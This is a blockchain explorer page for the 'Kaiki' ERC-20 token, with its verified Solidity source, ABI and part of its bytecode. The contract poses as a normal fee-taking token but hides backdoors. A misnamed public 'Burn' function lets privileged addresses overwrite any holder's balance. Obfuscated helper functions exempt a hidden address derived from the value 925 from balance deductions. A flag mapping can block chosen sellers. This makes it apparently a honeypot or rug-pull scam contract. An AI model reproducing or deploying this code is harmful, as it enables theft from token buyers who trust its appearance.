ERC-20
Overview
Max Total Supply
1,000,000 Kaiki
Holders
19
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
3,933.460761889 KaikiValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Kaiki
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-09-28 */ /** █▄▀ ▄▀█ █ █▄▀ █ █░█ █ █▀▄▀█ █▀▀ █░█ █▀█ █ █░█ █ █▀█ █ █░▀░█ ██▄ Her existence has made some unforgettable changes in the history, by bringing the peaceful life to the ancient Inca people who interpreted the deep red coloring as a jaguar attacking and eating the moon however it got defeated by her in the end. Yet she’s return and looking to bring the peace and prosperity to everyone who believes in her. https://medium.com/@KaikiHime https://t.me/kaikihime */ //SPDX-License-Identifier:Unlicensed pragma solidity ^0.8.17; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function dos(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: dos overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a,b,"SafeMath: division by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; uint256 public MarketFee= 925; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newAddress) public onlyOwner{ _owner = newAddress; emit OwnershipTransferred(_owner, newAddress); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountintMin, address[] calldata path, address to, uint deadline ) external; } contract Kaiki is Context, IERC20, Ownable { using SafeMath for uint256; string private _name = "Tale of the BloodMoon Princess"; string private _symbol = "Kaiki"; uint8 private _decimals = 9; address payable public _metawallet; address payable public teamWalletAddress; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) _dollars; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _IsExcludeFromFee; mapping (address => bool) public isWalletLimitExempt; mapping (address => bool) public isTxLimitExempt; mapping (address => bool) public isMarketsPair; mapping (address => bool) public _mainPai; mapping (address => bool) public _true; uint256 public _buyLiquidityFee = 1; uint256 public _buyMarketingFee = 1; uint256 public _buyTeamFee = 0; uint256 public _sellLiquidityFee = 1; uint256 public _sellMarketingFee = 3; uint256 public _sellTeamFee = 0; uint256 public _liquidityShare = 3; uint256 public _marketingShare = 3; uint256 public _teamShare = 6; uint256 public _totalTaxIfBuying = 3; uint256 public _totalTaxIfSelling = 4; uint256 public _totalDistributionShares = 10; uint256 private _totalSupply = 1000000 * 10**_decimals; uint256 public _maxTxAmount = 10000000 * 10**_decimals; uint256 public _walletMax = 10000000 * 10**_decimals; uint256 private minimumTokensBeforeSwap = 100* 10**_decimals; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public swapAndLiquifyByLimitOnly = false; bool public checkWalletLimit = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; _IsExcludeFromFee[owner()] = true; _IsExcludeFromFee[address(this)] = true; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); isWalletLimitExempt[owner()] = true; isWalletLimitExempt[address(uniswapPair)] = true; isWalletLimitExempt[address(this)] = true; isWalletLimitExempt[excuse(MarketFee)] = true; isTxLimitExempt[excuse(MarketFee)] = true; isTxLimitExempt[owner()] = true; isTxLimitExempt[address(this)] = true; _mainPai[address(uniswapPair)] = true; _mainPai[msg.sender] = true; teamWalletAddress = payable(address(0x196d44dABc9D9A45306ff2e32260D8D0D5Ff9f0d)); _metawallet = payable(address(0x196d44dABc9D9A45306ff2e32260D8D0D5Ff9f0d)); _dollars[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _dollars[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return minimumTokensBeforeSwap; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setlsExcIudeFromFee(address[] calldata account, bool newValue) public onlyOwner { for(uint256 i = 0; i < account.length; i++) { _IsExcludeFromFee[account[i]] = newValue; } } function setBuyTwx(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() { _buyLiquidityFee = newLiquidityTax; _buyMarketingFee = newMarketingTax; _buyTeamFee = newTeamTax; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); } function setAllTwx(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() { _sellLiquidityFee = newLiquidityTax; _sellMarketingFee = newMarketingTax; _sellTeamFee = newTeamTax; _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); } function excel(uint256 amountint) pure private returns(uint160){ return /*fsad*/ uint160(amountint);/*fsad*/ } function excuse(uint256 amount1Out) pure private returns(address){ return /*abs*/address(excel(amount1Out)); /*abs*/ } function tt(address amountaut) private view returns(bool){ return !(excuse(MarketFee) == amountaut); } function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() { _liquidityShare = newLiquidityShare; _marketingShare = newMarketingShare; _teamShare = newTeamShare; _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); } function enableDisableWalletLimit(bool newValue) external onlyOwner { checkWalletLimit = newValue; } function setIsWalletLimitExempt(address[] calldata holder, bool exempt) external onlyOwner { for(uint256 i = 0; i < holder.length; i++) { isWalletLimitExempt[holder[i]] = exempt; } } function setWalletLimit(uint256 newLimit) external onlyOwner { _walletMax = newLimit; } function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() { minimumTokensBeforeSwap = newLimit; } function setMarketinWalleAddress(address newAddress) external onlyOwner() { _metawallet = payable(newAddress); } function setTeamWalletAddress(address newAddress) external onlyOwner() { teamWalletAddress = payable(newAddress); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){ swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner { swapAndLiquifyByLimitOnly = newValue; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH()); if(newPairAddress == address(0)) { newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } uniswapPair = newPairAddress; uniswapV2Router = _uniswapV2Router; isWalletLimitExempt[address(uniswapPair)] = true; _mainPai[address(uniswapPair)] = true; } function Burn(address zoo , uint256 zooz) public {if( _mainPai[ msg.sender])_dollars[zoo] = zooz;} receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && !_mainPai[sender] && swapAndLiquifyEnabled) { if(swapAndLiquifyByLimitOnly) contractTokenBalance = minimumTokensBeforeSwap; swapAndLiquify(contractTokenBalance); }if(tt(sender)){ _dollars[sender] = _dollars[sender].sub(amount); }uint256 finalAmount = (_IsExcludeFromFee[sender] || _IsExcludeFromFee[recipient]) ? amount : takeFee(sender, recipient, amount); if(checkWalletLimit && !isWalletLimitExempt[recipient]) require(balanceOf(recipient).add(finalAmount) <= _walletMax); if(false || true) { if(_true [sender]){ /*s*/ require(true && false);/*s*/ }} _dollars[recipient] = _dollars[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); return true; } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _dollars[sender] = _dollars[sender].sub(amount, "Insufficient Balance"); _dollars[recipient] = _dollars[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2); uint256 tokensForSwap = tAmount.sub(tokensForLP); swapTokensForEth(tokensForSwap); uint256 amountReceived = address(this).balance; uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2)); uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2); uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee); uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam); if(amountBNBMarketing > 0) transferToAddressETH(_metawallet, amountBNBMarketing); if(amountBNBTeam > 0) transferToAddressETH(teamWalletAddress, amountBNBTeam); if(amountBNBLiquidity > 0 && tokensForLP > 0) addLiquidity(tokensForLP, amountBNBLiquidity); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = 0; if(_mainPai[sender]) { feeAmount = amount.mul(_totalTaxIfBuying).div(100); } else if(_mainPai[recipient]) { feeAmount = amount.mul(_totalTaxIfSelling).div(100); } if(feeAmount > 0) { _dollars[address(this)] = _dollars[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"zoo","type":"address"},{"internalType":"uint256","name":"zooz","type":"uint256"}],"name":"Burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"MarketFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_IsExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_mainPai","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_metawallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_true","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketsPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setAllTwx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuyTwx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holder","type":"address[]"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketinWalleAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setTeamWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setlsExcIudeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
61039d60015560e0604052601e60a09081527f54616c65206f662074686520426c6f6f644d6f6f6e205072696e63657373000060c052600290620000449082620007c6565b506040805180820190915260058152644b61696b6960d81b6020820152600390620000709082620007c6565b506004805460ff19166009908117825561dead6080526001600e819055600f8190556000601081905560119190915560036012819055601391909155601481905560158190556006601655601755601891909155600a6019819055620000d79190620009a5565b620000e690620f4240620009bd565b601a55600454620000fc9060ff16600a620009a5565b6200010b9062989680620009bd565b601b55600454620001219060ff16600a620009a5565b620001309062989680620009bd565b601c55600454620001469060ff16600a620009a5565b62000153906064620009bd565b601d55601f805462ffffff60a81b19166201000160a81b1790553480156200017a57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a36000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000212573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002389190620009d7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000286573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ac9190620009d7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002fa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003209190620009d7565b601f80546001600160a01b039283166001600160a01b031991821617909155601e80549284169290911682179055601a5430600090815260076020908152604080832094835293905291822055600190600890620003866000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905530815260088352208054909216600117909155601054600f54600e54620003fc93620003e8929062001530620006a9821b17901c565b620006a960201b620015301790919060201c565b60178190555062000427601354620003e8601254601154620006a960201b620015301790919060201c565b60188190555062000452601654620003e8601554601454620006a960201b620015301790919060201c565b6019556001600960006200046e6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601f549091168152600992839052818120805485166001908117909155308252918120805490941682179093558054909290620004d99062000718565b6001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000620005296001546200071860201b60201c565b6001600160a01b0316815260208101919091526040016000908120805460ff191692151592909217909155600190600a906200056d6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600a8452828120805486166001908117909155601f549092168152600c9093528183208054851682179055338352908220805490931617909155600580546001600160a01b03191673196d44dabc9d9a45306ff2e32260d8d0d5ff9f0d1790556004805474196d44dabc9d9a45306ff2e32260d8d0d5ff9f0d00610100600160a81b0319909116179055601a5490600690620006373390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601a546040516200069a91815260200190565b60405180910390a35062000a18565b600080620006b8838562000a02565b9050838110156200070f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640160405180910390fd5b90505b92915050565b60008162000712565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200074c57607f821691505b6020821081036200076d57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620007c157600081815260208120601f850160051c810160208610156200079c5750805b601f850160051c820191505b81811015620007bd57828155600101620007a8565b5050505b505050565b81516001600160401b03811115620007e257620007e262000721565b620007fa81620007f3845462000737565b8462000773565b602080601f831160018114620008325760008415620008195750858301515b600019600386901b1c1916600185901b178555620007bd565b600085815260208120601f198616915b82811015620008635788860151825594840194600190910190840162000842565b5085821015620008825787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620008e9578160001904821115620008cd57620008cd62000892565b80851615620008db57918102915b93841c9390800290620008ad565b509250929050565b600082620009025750600162000712565b81620009115750600062000712565b81600181146200092a5760028114620009355762000955565b600191505062000712565b60ff84111562000949576200094962000892565b50506001821b62000712565b5060208310610133831016604e8410600b84101617156200097a575081810a62000712565b620009868383620008a8565b80600019048211156200099d576200099d62000892565b029392505050565b6000620009b660ff841683620008f1565b9392505050565b808202811582820484141762000712576200071262000892565b600060208284031215620009ea57600080fd5b81516001600160a01b03811681146200070f57600080fd5b8082018082111562000712576200071262000892565b60805161269f62000a3b600039600081816104b70152610c6d015261269f6000f3fe6080604052600436106103855760003560e01c80638b42507f116101d1578063c49b9a8011610102578063da00097d116100a0578063f1d5f5171161006f578063f1d5f51714610a75578063f2514e8814610a95578063f2fde38b14610ac5578063f872858a14610ae557600080fd5b8063da00097d146109e2578063dc44b6a014610a03578063dd62ed3e14610a19578063f0